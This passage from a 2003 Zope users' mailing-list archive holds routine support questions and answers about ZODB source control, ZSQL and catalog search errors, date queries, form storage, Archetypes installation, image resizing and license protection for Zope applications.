the advice. In the meantime, I have played with RevisionManager and I could make it work on Windows. It looks like a very cool product. I will shortly post an update on this topic. I hope that it can be useful for people who have no experience with CVS (like me). Thanks, Robert --- Jean-Francois.Doyon@CCRS.NRCan.gc.ca wrote: > Try looking at the RevisionManager product ? > > I haven't used it myself, but my reading on it > suggests it should do what > you want ... > > J.F. > > -----Original Message----- > From: Robert Jean [mailto:robertjean2@yahoo.com] > Sent: Monday, August 11, 2003 3:31 PM > To: zope@zope.org > Subject: [Zope] Source Control > > > Hello, > > I am looking for a source control system for objects > stored in the ZODB. > > ZCVSFolder looks nice, but it is quite old and UNIX > only. We are running Windows and Zope 2.6. > > Any suggestion? > > Thanks, > Robert > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free, easy-to-use web site > design software > http://sitebuilder.yahoo.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From tillea at rki.de Wed Aug 13 00:49:29 2003 From: tillea at rki.de (Andreas Tille) Date: Tue Aug 12 17:50:50 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: <16185.17464.522796.625743@gargle.gargle.HOWL> Message-ID: On Tue, 12 Aug 2003, Dieter Maurer wrote: > Determine the line in the ZSQL Method code that causes the exception It happens on *any* (even the simplest) ZSQL Method on my installation. > (you look at the traceback for this). There isn't any hint in the HTML source of the error page (if you mean this). I would have mentioned this in my mail. > Catch exceptions other then "ConflictError", log them and continue. How to catch them in a plain ZSQL method??? > File a bug report with patch. I would like to do the first. I would love to provide a patch but it seems to be out of my scope - sorry. > Alternative: Remove products which no longer work from > "Control_Panel/Products". I'll check this. Thanks for the hints Andreas. From mlong at datalong.com Tue Aug 12 18:56:50 2003 From: mlong at datalong.com (Michael Long) Date: Tue Aug 12 17:56:58 2003 Subject: [Zope] startup error Message-ID: Hi, Is this a known issue when starting zope 2.7.0-b1 on both windows and linux? Traceback (most recent call last): File "/opt/zope/lib/python/Zope/App/startup.py", line 48, in startup m=imp.find_module('custom_zodb',[INSTANCE_HOME]) ImportError: No module named custom_zodb Thanks, Mike From r.rapoport at fi.com Tue Aug 12 16:25:07 2003 From: r.rapoport at fi.com (Roy Rapoport) Date: Tue Aug 12 18:26:53 2003 Subject: [Zope] Documentation on External Interface to ZoDB Message-ID: <9529EF5D791B794DB3CFAE1635F0805B0CA94843@goldfish.fi.com> Until Paul gets around to implementing disparate directory syncing in zsyncer, I'd love to put together a temporary script that will simply export a given 'directory' on a Zope server and then import it elsewhere on a different Zope server. For this, I'll need to figure out how to externally interface to the ZoDB. I'm assuming there's a Python module to do this. Any pointers for docs? TIA, -roy Content-Type: text/plain; charset="iso-8859-1" ------------------------------------------------- PLEASE READ THIS WARNING: All e-mail sent to or from this address will be received or otherwise recorded by the Fisher Investments corporate e-mail system and is subject to archival, monitoring or review by, and/or disclosure to, someone other than the recipient. From pw_lists at slinkp.com Tue Aug 12 21:55:01 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Tue Aug 12 20:55:57 2003 Subject: [Zope] Documentation on External Interface to ZoDB In-Reply-To: <9529EF5D791B794DB3CFAE1635F0805B0CA94843@goldfish.fi.com> References: <9529EF5D791B794DB3CFAE1635F0805B0CA94843@goldfish.fi.com> Message-ID: <20030813005501.GB1791@slinkp.com> On Tue, Aug 12, 2003 at 03:25:07PM -0700, Roy Rapoport wrote: > Until Paul gets around to implementing disparate directory syncing in > zsyncer, I'd love to put together a temporary script that will simply export > a given 'directory' on a Zope server and then import it elsewhere on a > different Zope server. > > For this, I'll need to figure out how to externally interface to the ZoDB. > I'm assuming there's a Python module to do this. you basically just described zsyncer! It does an export (in memory) and then uses xml-rpc to import the stuff on the remote server. If you're capable of implementing the above, you're certainly capable of modifying zsyncer to do what you want. I suspect that 90% of the work for the feature you want would consist of figuring out how to handle the UI. The actual code you need to change will probably be a couple of lines. I can try to answer any questions you may have about the code. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's RAJAH JUDO! (random hero from isometric.spaceninja.com) From john at academiccolab.org Tue Aug 12 21:51:28 2003 From: john at academiccolab.org (John Toews) Date: Tue Aug 12 21:51:34 2003 Subject: [Zope] Zope caching method results?? Message-ID: <8D0E60044699BB499447ED91DA3F3E2F07734F@rp150.uwsa.edu> The page is changing... But the results I'm looking at aren't. The page outputs a list of lists. The number of items in the list is based on a ZipFile object (actually a custom object that inherits from that). So the number of items in the list, as well as the data, changes - except for this one field. I'd happily provide code for anyone interested in helping out... Thanks, John Toews -----Original Message----- From: Dieter Maurer [mailto:dieter@handshake.de] Sent: Tuesday, August 12, 2003 2:32 PM To: John Toews Cc: zope@zope.org Subject: Re: [Zope] Zope caching method results?? John Toews wrote at 2003-8-11 16:22 -0500: > I have an external method that is using a class I've written. The class > uses another module (dbxml for the Berkeley XML database). > > It _appears_ as if Zope is caching function results from the dbxml > module. The data doesn't change, but the memory address does. > > tmpXmlResults = self._manifest.queryWithXPath(resourceXpath, > self._manifestcontext) > > The code runs perfectly if run outside of Zope simply on the command > line. > > Is there any sort of caching that Zope does of non-product Python > objects? Or function results? Etc.? I am quite convinced that Zope does not automatically cache the result of External Method calls. However, I remember to have read a similar complaint to yours in the mailing list. Thus, they may be a low probability of a bug. Much more likely is that there is some HTTP cache that caches your page and does not consult Zope at all. Such problems are easily uncovered when you request your browser to load the page without using any caches. Dieter From Michael at CenturySoftware.com.au Wed Aug 13 14:33:31 2003 From: Michael at CenturySoftware.com.au (Michael Fox) Date: Tue Aug 12 23:40:52 2003 Subject: [Zope] MetaPublisher 1.2.8 Message-ID: <0E39B60023525D4D821D4801EE2E286C593E82@zeus.Intra.net> Hi *, Does anyone know of an alternative location I can download MetaPublisher 1.2.8 as beehive.de seems to be having some Zope problems... Or if anyone feels kind enough to email this to me it would be most appreciative. Regards, Michael Fox Web Analyst Programmer Century Software http://www.CenturySoftware.com.au Tel: +61-2-9460-1422 Fax: +61-2-9460-3098 From michael at bleijerveld.nl Wed Aug 13 10:58:43 2003 From: michael at bleijerveld.nl (Michael Bleijerveld) Date: Wed Aug 13 03:58:45 2003 Subject: [Zope] Re: Python script returning link to local file References: <023a01c360f6$5dc811c0$9700000a@MICHAEL> <20030812205627.GA19735@dman13.dyndns.org> Message-ID: <00ca01c36170$b72f2ee0$9700000a@MICHAEL> Hi Derrick, It doesn't return a link to the (LocalFS) file. Greetings. Michael ----- Original Message ----- From: "Derrick 'dman' Hudson" To: Sent: Tuesday, August 12, 2003 10:56 PM Subject: [Zope] Re: Python script returning link to local file > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From tillea at rki.de Wed Aug 13 11:07:18 2003 From: tillea at rki.de (Andreas Tille) Date: Wed Aug 13 04:08:23 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: <16185.17464.522796.625743@gargle.gargle.HOWL> Message-ID: On Tue, 12 Aug 2003, Dieter Maurer wrote: > Alternative: Remove products which no longer work from > "Control_Panel/Products". I checked on another box which has thrwon some different Error Messages when I tried to adjust the cache. After having cleaned "Control_Panel/Products" which was a little bit exhausted by broken products I settled down with exactly the same error message as I reported and now I checked the Products directory on the machine I detected the problem first is clean. Thus I had described the situation on a quite clean installation regarding to "Control_Panel/Products". Could anybody verify the problem please on probably more different installations than mine? Kind regards Andreas. From iny+dev at iki.fi Wed Aug 13 13:55:29 2003 From: iny+dev at iki.fi (=?iso-8859-1?q?Ilpo_Nyyss=F6nen?=) Date: Wed Aug 13 05:55:35 2003 Subject: [Zope] How to do a simple form? Message-ID: I need to do simple forms with zope. The forms are used to do simple queries, such as getting volunteers for organizing an event. The need is just to get a text file that contains the field names and values. It should also be possible to restrict the access to that result file to certain people. It should also be so that one would be able to do new queries just by doing a new form and possibly some simple method or something (and with restricted rights to zope). I know how to do the rest, but the problem is where to store the data? (And the data is just the values entered to those forms, no other assumptions.) Some possibilities: * SQL: complicated * Mailing and then handling with procmail: ugly * ZODB: How? * To the filesystem with extenal method: could be, how to make it secure? I am using Zope 2.6.x. -- Ilpo Nyyss?nen # biny # /* :-) */ From dubreus at csit.fsu.edu Wed Aug 13 12:56:39 2003 From: dubreus at csit.fsu.edu (dubreus (CSIT)) Date: Wed Aug 13 05:56:52 2003 Subject: [Zope] installing ZopeJSP Message-ID: <001401c36181$31126370$c600a8c0@Bingo> Hi, I try to intall ZopeJSP. I don't know where to unzip the archive because I have no Product folder in my Zope root. How can I manage to install it? thanks -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030813/8cfb3e36/attachment.htm From edegoute at nuxeo.com Wed Aug 13 13:06:46 2003 From: edegoute at nuxeo.com (Encolpe DEGOUTE) Date: Wed Aug 13 06:06:51 2003 Subject: [Zope] installing ZopeJSP References: <001401c36181$31126370$c600a8c0@Bingo> Message-ID: <20030813120646.04fc08d6.edegoute@nuxeo.com> On Wed, 13 Aug 2003 11:56:39 +0200 "dubreus (CSIT)" wrote: > Hi, > > I try to intall ZopeJSP. > I don't know where to unzip the archive because I have no Product > folder in my Zope root. > > > How can I manage to install it? Just create the folder in your root. -- Encolpe DEGOUTE, Ing?nieur Logiciel, Nuxeo SARL: Zope Service Provider. Mail: edegoute@nuxeo.com - Tel: +33 (0)1 40 33 79 18 Nuxeo Collaborative Portal Server: http://www.nuxeo.com/cps Gestion de contenu web / portail collaboratif / groupware / open source From lists at elvix.com Wed Aug 13 13:12:30 2003 From: lists at elvix.com (=?ISO-8859-1?B?R2VpciBC5mtob2x0?=) Date: Wed Aug 13 06:09:24 2003 Subject: [Zope] How to do a simple form? In-Reply-To: References: Message-ID: <1854005452.20030813121230@elvix.com> On Wed, 13 Aug 2003 12:55:29 +0300 GMT Ilpo Nyyss?nen asked the Zope mailinglist about the following: > I need to do simple forms with zope. The forms are used to do simple > queries, such as getting volunteers for organizing an event. The need > is just to get a text file that contains the field names and values. > I know how to do the rest, but the problem is where to store the data? > (And the data is just the values entered to those forms, no other > assumptions.) The simple way would be to store it in the ZODB. If you need a really quick solution, you can just makenew folder-objects with attributes, or dtml-documents with the form-values as content. i think there is a guestbook or something similar in the basic examples provided with a fresh installation of Zope that works this way. Instantiating objects programatically should be documented in the API reference http://zope.org/Documentation/Books/ZopeBook/2_6Edition/AppendixB.stx If you need more specific custom objects, you could try Zclasses, or making a simple python product. -- Geir B?kholt From ogura at ids.co.jp Wed Aug 13 21:03:06 2003 From: ogura at ids.co.jp (=?ISO-2022-JP?B?GyRCPi5BUiEhPV8bKEI=?=) Date: Wed Aug 13 07:03:14 2003 Subject: [Zope] WebDAV&Windows Message-ID: <200308131103.AA02284@Yugoslavia.ids.co.jp> I am using Zope 2.6.1. I copy a folder with many files from Zope to Windows XP using WebDAV. But only folders copied. Files are not copied. Just after I clear IE cache, I can copy all normally. But Second, this problem occurs. And I found modified date of cached files are abnormal. Copying from mod_dav to Windows XP ends normally. Someone knows how to solve this problem? ---- IDS Corp. Jun Ogura?e-mail ogura@ids.co.jp From mark at freelance-developer.com Wed Aug 13 13:30:49 2003 From: mark at freelance-developer.com (Mark Nenadov) Date: Wed Aug 13 08:30:50 2003 Subject: [Zope] catalog search on a lines property? Message-ID: <1060778405.4777.798.camel@nyah> Hello all, I'm working with a zclass that has a 'lines' property (for the sake of discussion, it will be called 'listing_cats'). The lines property is a list of numbers (which are id's). I want to go through my Catalog and find all objects that have a list_cats that contains a given id (lets say 4928 for example). For my examples, the id will be called 'current_id'. I've tried two things: #1: set 'listing_cats' to current_id then proceed with the dtml-in Catalog and #2 perform a Catalog.searchResults(listing_cats=current_id) Neither of these worked. I'm using a KeywordIndex on my lines object. I kind of expected #1 not to work, but I am suprised that #2 didn't work. Any ideas on how I can do a search on the lines property like I mentioned? ~Mark From list at zettai.net Wed Aug 13 10:40:43 2003 From: list at zettai.net (george donnelly) Date: Wed Aug 13 10:40:52 2003 Subject: [Zope] MetaPublisher 1.2.8 In-Reply-To: <0E39B60023525D4D821D4801EE2E286C593E82@zeus.Intra.net> Message-ID: [Michael Fox wrote (Michael@CenturySoftware.com.au) on 8/12/03 10:33 PM] > Does anyone know of an alternative location I can download MetaPublisher > 1.2.8 as beehive.de seems to be having some Zope problems... > > Or if anyone feels kind enough to email this to me it would be most > appreciative. you can download it here: http://files.zettai.net/MetaPublisher128.tgz Let me know if I can help with anything else. :) <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From saravanan_anna at rediffmail.com Wed Aug 13 15:56:48 2003 From: saravanan_anna at rediffmail.com (saravanan annamalai) Date: Wed Aug 13 10:56:50 2003 Subject: [Zope] Whats the Format of Date in portal_catalog( )?? Message-ID: <20030813145557.11958.qmail@webmail7.rediffmail.com> Hi All, I want to get the news items by date. for eg...news items created on a particular date. I tried with container.portal_catalog(created='2003-08-13'), container.portal_catalog(created='2003/08/13') and many other.... But i am not getting anything in result...though i have some data... Is there any problem with date format...??? if yes please specify me the correct format?? Expecting your replies at the earliest bye from saravanan A A.Saravanan, WundtStrasse 7,Zi:9L1, Dresden - 01217 Germany Home: 0351-7997546 Mobile: 01797395091 ___________________________________________________ Meet your old school or college friends from 1 Million + database... Click here to reunite www.batchmates.com/rediff.asp From zanton at axystem.com Wed Aug 13 18:57:53 2003 From: zanton at axystem.com (Anton Zubenko) Date: Wed Aug 13 10:59:50 2003 Subject: [Zope] Zope application offline - how to apply a license ptotection? Message-ID: Greetings to all zope community. Our company is developing an application, supposed to be run under dedicated zope server, placed offline in our customers corporate environment and requested via LAN. The commerical approach is to impose a recurrent fee on our customer for using the software. Thus, application needs a renewable license mechanism. Supposedly, customer gets his updated license in some format upon successfull payment and supplies it in order to continue using the application (license should contain data like number of users, next expiration date, etc.) What would be the right way to protect this mechanism from hacking, provied that zope is an open-source platform, so any code is hypothetically accessable by the customer and apllication is run completely offline with no intercation with our information system? The required level of protection is not really high, but we need to be safe from attempts to hack the application by modest programmers at least. Thanks for inputs! -az From mickymouse at mickymouse.it Wed Aug 13 16:07:16 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Wed Aug 13 11:07:18 2003 Subject: [Zope] How to utilize Archetype example? Message-ID: <1060787322.799.28.camel@mickymouse.sintel> I have successfully installed archetypes in my debian version of zope (zope 2.6.1 e plone 1.0.3) and in a windows installation (zope 2.6.2 e plone 1.0.3): in fact the archetype tool, archetype content, archexample are present in the add list. If I try to add a new content type in the portal_types of my plone site selecting the Factory-based Type Information in the list of the content type there is for example article (which is a type created by ArchExample) and i can create a new content type article based. However, when a user try to add a new article in his personal folder plone create it (named article.13.08.03) and then display an error messages that says that it is impossible to find the object ... Does it depend from the installed version of plone (1.0.3 instead of 1.0.4 as the requirement claims)? Or from a mistake made by me? TIA ciao, Michele From jmeile at hotmail.com Wed Aug 13 18:17:47 2003 From: jmeile at hotmail.com (Josef Meile) Date: Wed Aug 13 11:08:21 2003 Subject: [Zope] Re: Whats the Format of Date in portal_catalog( )?? Message-ID: > Hi All, > I want to get the news items by date. for eg...news items > created on a particular date. > > I tried with container.portal_catalog(created='2003-08-13'), > container.portal_catalog(created='2003/08/13') and > many other.... > > But i am not getting anything in result...though i have some > data... > > Is there any problem with date format...??? if yes please specify > me the correct format?? I think that you have to pass a DateTime object and not a string: from DateTime import DateTime container.portal_catalog(created=DateTime('2003/08/13')) Regards, Josef From mickymouse at mickymouse.it Wed Aug 13 16:46:22 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Wed Aug 13 11:46:24 2003 Subject: [Zope] Re: [Zope-it] Esempi di ArcheTypes In-Reply-To: <200308131721.55053.riccardo@reflab.it> References: <1060785300.801.5.camel@mickymouse.sintel> <200308131642.17156.riccardo@reflab.it> <1060786481.802.16.camel@mickymouse.sintel> <200308131721.55053.riccardo@reflab.it> Message-ID: <1060789668.802.42.camel@mickymouse.sintel> On Wed, 2003-08-13 at 17:21, Riccardo Lemmi wrote: > Intendevo dire se hai installato archetypes dentro la tua istanza di > plone ad > esempio creando un metodo esterno con > id:installArchetypes > module name: Archetypes.Install > function name: install > e poi "test", a questo punto nella cartella di plone ti deve apparire > un > "archetype_tool ". Ok tutto ok! ;-) Avevo provato sulla debian dove non c'era il Quick Installer. Cazzo, e poi parlando del supporto dei prodotti open source: sfido qualsiasi prodotto commerciale ad avere una risposta cosi' pertinente e rapida - non dico il 13 di Agosto - ma in piena stagione lavorativa. Grazie mille ciao, Michele From mickymouse at mickymouse.it Wed Aug 13 16:52:33 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Wed Aug 13 11:52:34 2003 Subject: [Zope] Re: [Zope-it] Esempi di ArcheTypes In-Reply-To: <200308131747.30388.riccardo@reflab.it> References: <1060785300.801.5.camel@mickymouse.sintel> <200308131721.55053.riccardo@reflab.it> <1060788640.802.36.camel@mickymouse.sintel> <200308131747.30388.riccardo@reflab.it> Message-ID: <1060790040.799.48.camel@mickymouse.sintel> On Wed, 2003-08-13 at 17:47, Riccardo Lemmi wrote: > Ok, fai questo: > - entra nella tua istanza di plone > - da "select type to add" cerca "external method" e fai "add" > - come parametri usa: > id:installArchetypes > module name: Archetypes.Install > function name: install > - seleziona installArchetypes e dalla zmi clicca su 'test' > A questo punto hai installato correttamente il tuo archetype_tool e puoi > installare in modo simile tutti i prodotti basati Archetypes ma in generale i > prodotti per Plone e CMF. Gli esempi li puoi installare come hai detto sopra > con "factory based". E questo su debian (dove ho la 2.6.1) penso sia l'unico sistema. Lo provo subito. > L'altro sistema e' usare il prodotto cmfquickinstaller che ti d? una lista di > prodotti installabili e chiama automaticamente l'install presente nella > cartella Extensions del vari prodotti) E questo l'ho sperimentato e funziona su window dove ho installato la 2.6.2. Grazie ancora ciao, Michele From mickymouse at mickymouse.it Wed Aug 13 16:58:20 2003 From: mickymouse at mickymouse.it (Michele Bendazzoli) Date: Wed Aug 13 11:58:21 2003 Subject: [Zope] Esempi di ArcheTypes (was How to utilize Archetypes?) In-Reply-To: <1060790040.799.48.camel@mickymouse.sintel> References: <1060785300.801.5.camel@mickymouse.sintel> <200308131721.55053.riccardo@reflab.it> <1060788640.802.36.camel@mickymouse.sintel> <200308131747.30388.riccardo@reflab.it> <1060790040.799.48.camel@mickymouse.sintel> Message-ID: <1060790387.799.54.camel@mickymouse.sintel> Excuse me for post these messages to the wrong address (very similar, zope-it instead of zope). However the problem was resolved thank to a member of the italian zope mailing list, Riccardo Lemmi. It is sufficient utilize CFM Quick Installer and add the new content type added to the portal types. ciao, Michele From jbarbara11 at yahoo.com Wed Aug 13 11:15:28 2003 From: jbarbara11 at yahoo.com (Jim Barbara) Date: Wed Aug 13 13:15:31 2003 Subject: [Zope] Need help with ImageMagick or PIL with CMFPhoto for photo resize Message-ID: <20030813171528.74582.qmail@web11707.mail.yahoo.com> I am using: Zope 2.6.1 Plone 1.0.1 CMF 1.3 I can add a CMFPhotoAlbum as well as a CMFPhoto on my Plone site. I want to be able to view the photo sized differently than the Original Size. I tried to install ImageMagick using the rpm for Redhat 9 (i386). Since it asked for a lot of XFree86 modules, I used the -nodeps option and it seemed to install just fine. However, I still cannot resize the photos. I am a newbie but I am learning. Could you please help me? Thanks, Jim Barbara __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From scott.meilicke at intp.com Wed Aug 13 11:55:22 2003 From: scott.meilicke at intp.com (Meilicke, Scott) Date: Wed Aug 13 13:55:59 2003 Subject: [Zope] Need help with ImageMagick or PIL with CMFPhoto for ph oto resize Message-ID: <05A1EDFF79040846976782B13F97ED3516B510@IWA-MERCURY> Have you tried ImageMagick from the command line? Something like convert -g 500x500 originalimage.jpg This will resize originalimage.jpg to be 500 px max high or wide. It will maintain the aspect ratio. If that works, then zope isn't seeing imagemagick... I'm not enough of a linux person to tell you want to do in this case. Scott -----Original Message----- From: Jim Barbara [mailto:jbarbara11@yahoo.com] Sent: Wednesday, August 13, 2003 10:15 AM To: zope@zope.org Subject: [Zope] Need help with ImageMagick or PIL with CMFPhoto for photo resize I am using: Zope 2.6.1 Plone 1.0.1 CMF 1.3 I can add a CMFPhotoAlbum as well as a CMFPhoto on my Plone site. I want to be able to view the photo sized differently than the Original Size. I tried to install ImageMagick using the rpm for Redhat 9 (i386). Since it asked for a lot of XFree86 modules, I used the -nodeps option and it seemed to install just fine. However, I still cannot resize the photos. I am a newbie but I am learning. Could you please help me? Thanks, Jim Barbara __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) The information contained in this email message may be privileged and is confidential information intended only for the use of the recipient or any employee or agent responsible for delivering it to the intended recipient. Any unauthorized use, distribution or copying of this information is strictly prohibited and may be unlawful. If you have received this communication in error, please notify the sender immediately and destroy the original message and all attachments from your electronic files. From lukesh at seznam.cz Wed Aug 13 21:55:20 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Wed Aug 13 14:57:42 2003 Subject: [Zope] Zope application offline - how to apply a license ptotection? Message-ID: <3F2692A80029F329@stateless2.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Anton Zubenko > Our company is developing an application, supposed to be run under dedicated > zope server, placed offline in our customers corporate environment and > requested via LAN. > What would be the right way to protect this mechanism from hacking, provied > that zope is an open-source platform, so any code is hypothetically > accessable by the customer and apllication is run completely offline with no > intercation with our information system? > > The required level of protection is not really high, but we need to be safe > from attempts to hack the application by modest programmers at least. 1. use dedicated server with crypted FS (eg., Linux), does not share ANY passwords. 2. does not allow to users gone above specified hierarchy of folders. 3. disable for all other access than "view" all DTML Methods and code-critical DTML documents. etc... Regards JL. From dieter at handshake.de Wed Aug 13 21:46:45 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:01:16 2003 Subject: [Zope] Re: Python script returning link to local file In-Reply-To: <00ca01c36170$b72f2ee0$9700000a@MICHAEL> References: <023a01c360f6$5dc811c0$9700000a@MICHAEL> <20030812205627.GA19735@dman13.dyndns.org> <00ca01c36170$b72f2ee0$9700000a@MICHAEL> Message-ID: <16186.34709.168365.45591@gargle.gargle.HOWL> Michael Bleijerveld wrote at 2003-8-13 09:58 +0200: > It doesn't return a link to the (LocalFS) file. You do not tell it to return a link. You tell it to return the object itself. When you want to return the URL, use an objects "absolute_url" method. When a link is something else (for you), construct it (almost surely from "absolute_url"). Dieter From dieter at handshake.de Wed Aug 13 21:44:16 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:01:32 2003 Subject: [Zope] startup error In-Reply-To: References: Message-ID: <16186.34560.443576.970170@gargle.gargle.HOWL> Michael Long wrote at 2003-8-12 17:56 -0400: > Is this a known issue when starting zope 2.7.0-b1 on both windows and linux? > > Traceback (most recent call last): > File "/opt/zope/lib/python/Zope/App/startup.py", line 48, in startup > m=imp.find_module('custom_zodb',[INSTANCE_HOME]) > ImportError: No module named custom_zodb Isn't there a "try: ... except: " around this? Dieter From dieter at handshake.de Wed Aug 13 21:29:31 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:01:43 2003 Subject: [Zope] Zope caching method results?? In-Reply-To: <8D0E60044699BB499447ED91DA3F3E2F07734F@rp150.uwsa.edu> References: <8D0E60044699BB499447ED91DA3F3E2F07734F@rp150.uwsa.edu> Message-ID: <16186.33675.788845.511674@gargle.gargle.HOWL> John Toews wrote at 2003-8-12 20:51 -0500: > The page is changing... But the results I'm looking at aren't. > > The page outputs a list of lists. The number of items in the list is > based on a ZipFile object (actually a custom object that inherits from > that). So the number of items in the list, as well as the data, changes > - except for this one field. What do you mean with "this one field"? As you describe it, it does not seem to be a caching issue, unless your External Method is precisely responsible for "this one field" (and nothing else). Dieter From dieter at handshake.de Wed Aug 13 21:39:43 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:01:58 2003 Subject: [Zope] Zope hangs trying to edit a page template in ZMI In-Reply-To: <20030812181818.49447.qmail@web42002.mail.yahoo.com> References: <20030812181818.49447.qmail@web42002.mail.yahoo.com> Message-ID: <16186.34287.725154.721871@gargle.gargle.HOWL> Chris Leonello wrote at 2003-8-12 11:18 -0700: > ... Zope hangs when editing page template ... > It looks like Zope is trying to fetch a script or execute a method > (pt_editForm) on my page template object, but cannot locate it. I cannot > find any pt_editForm script/method anywhere in the Zope installation. It is defined in ".../Products/PageTemplates/ZopePageTemplates.py". It uses the file in "www.ptEdit.pt". There is a HowTo on Zope.org about how to analyse a "spinning Zope" instance. Maybe, it helps you. Dieter From dieter at handshake.de Wed Aug 13 21:48:48 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:02:14 2003 Subject: [Zope] catalog search on a lines property? In-Reply-To: <1060778405.4777.798.camel@nyah> References: <1060778405.4777.798.camel@nyah> Message-ID: <16186.34832.601799.489010@gargle.gargle.HOWL> Mark Nenadov wrote at 2003-8-13 08:40 -0400: > I'm working with a zclass that has a 'lines' property (for the sake of > discussion, it will be called 'listing_cats'). > > The lines property is a list of numbers (which are id's). I want to go > through my Catalog and find all objects that have a list_cats that > contains a given id (lets say 4928 for example). For my examples, the id > will be called 'current_id'. The value maintained in a "lines" property is a sequence (in fact a list). Sequences values call for a "KeywordIndex". Please read the corresponding section in the Zope Book. With a KeywordIndex, your task becomes trivial. Dieter From dieter at handshake.de Wed Aug 13 21:42:56 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:02:30 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: References: <16185.17464.522796.625743@gargle.gargle.HOWL> Message-ID: <16186.34480.122242.845126@gargle.gargle.HOWL> Andreas Tille wrote at 2003-8-12 23:49 +0200: > On Tue, 12 Aug 2003, Dieter Maurer wrote: > > > Determine the line in the ZSQL Method code that causes the exception > It happens on *any* (even the simplest) ZSQL Method on my installation. Sure, as they all execute the same code when you press the "Advanced" tab. > > (you look at the traceback for this). > There isn't any hint in the HTML source of the error page (if you mean this). >From Zope 2.6.x on, the traceback is no longer in the HTML source. You find it via "/error_log" in your "Root Folder". > > Catch exceptions other then "ConflictError", log them and continue. > How to catch them in a plain ZSQL method??? It comes from Python code. The traceback tells you where. Dieter From dieter at handshake.de Wed Aug 13 21:27:18 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:02:41 2003 Subject: [Fwd: [Zope] Sessions between domains] In-Reply-To: <3F395456.6000302@center7.com> References: <3F390403.30004@center7.com> <16185.17943.91696.808067@gargle.gargle.HOWL> <3F395456.6000302@center7.com> Message-ID: <16186.33542.101062.239100@gargle.gargle.HOWL> Please stay on the list.... Ben Bush wrote at 2003-8-12 14:55 -0600: > How do you get the session data in the new domain? I am not sure how to > do this piece? As all domains are run in the same Zope (farm), there is no need to get the session data around, just the session key. What I proposed only works for explicit links from one to another domain. The session key is contained in these links. They are created with "URLPATH*" and an appropriate server prefix. > Dieter Maurer wrote: > > Ben Bush wrote at 2003-8-12 09:13 -0600: > > > I am wondering how others have solved this problem. Are people using > > > cookies between the 2 sites (I would like to avoid this) or are people > > > writing this info to a database? Any help would be much appreciated. > > > > We serve several domains by the same (farm of) Zope instance. > > > > We avoid cookies (mainly because some customers disable them) > > and code session ids in the URL. Thus, we can transfer > > session information between domains (in a restricted way only, of course). Dieter From dieter at handshake.de Wed Aug 13 21:51:04 2003 From: dieter at handshake.de (Dieter Maurer) Date: Wed Aug 13 15:02:52 2003 Subject: [Zope] Re: Whats the Format of Date in portal_catalog( )?? In-Reply-To: References: Message-ID: <16186.34968.368887.142425@gargle.gargle.HOWL> Josef Meile wrote at 2003-8-13 17:17 +0200: > > I want to get the news items by date. for eg...news items > > created on a particular date. > > > > I tried with container.portal_catalog(created='2003-08-13'), > > container.portal_catalog(created='2003/08/13') and > > many other.... > > > > But i am not getting anything in result...though i have some > > data... > > > > Is there any problem with date format...??? if yes please specify > > me the correct format?? > I think that you have to pass a DateTime object and not a string: > from DateTime import DateTime > container.portal_catalog(created=DateTime('2003/08/13')) Also remember that it is very unlikely that a document is created at 'some_date 00:00:00' (this is what you effectively get from "DateTime(some_date)"). You will need a range query to effectively search for dates. Please read the appropriate section in the Zope Book (2.6 edition). Dieter From mark at freelance-developer.com Wed Aug 13 20:10:28 2003 From: mark at freelance-developer.com (Mark Nenadov) Date: Wed Aug 13 15:10:30 2003 Subject: [Zope] catalog search on a lines property? In-Reply-To: <16186.34832.601799.489010@gargle.gargle.HOWL> References: <1060778405.4777.798.camel@nyah> <16186.34832.601799.489010@gargle.gargle.HOWL> Message-ID: <1060802068.4777.856.camel@nyah> Dieter, Thanks for the reply. But, I *am* using a KeywordIndex as the last part of my last post stated. I'm going to do some more research about the KeywordIndex, but I think I am using it correctly. ~Mark On Wed, 2003-08-13 at 14:48, Dieter Maurer wrote: > The value maintained in a "lines" property is a sequence (in fact a list). > Sequences values call for a "KeywordIndex". > Please read the corresponding section in the Zope Book. > > With a KeywordIndex, your task becomes trivial. > > > Dieter > From 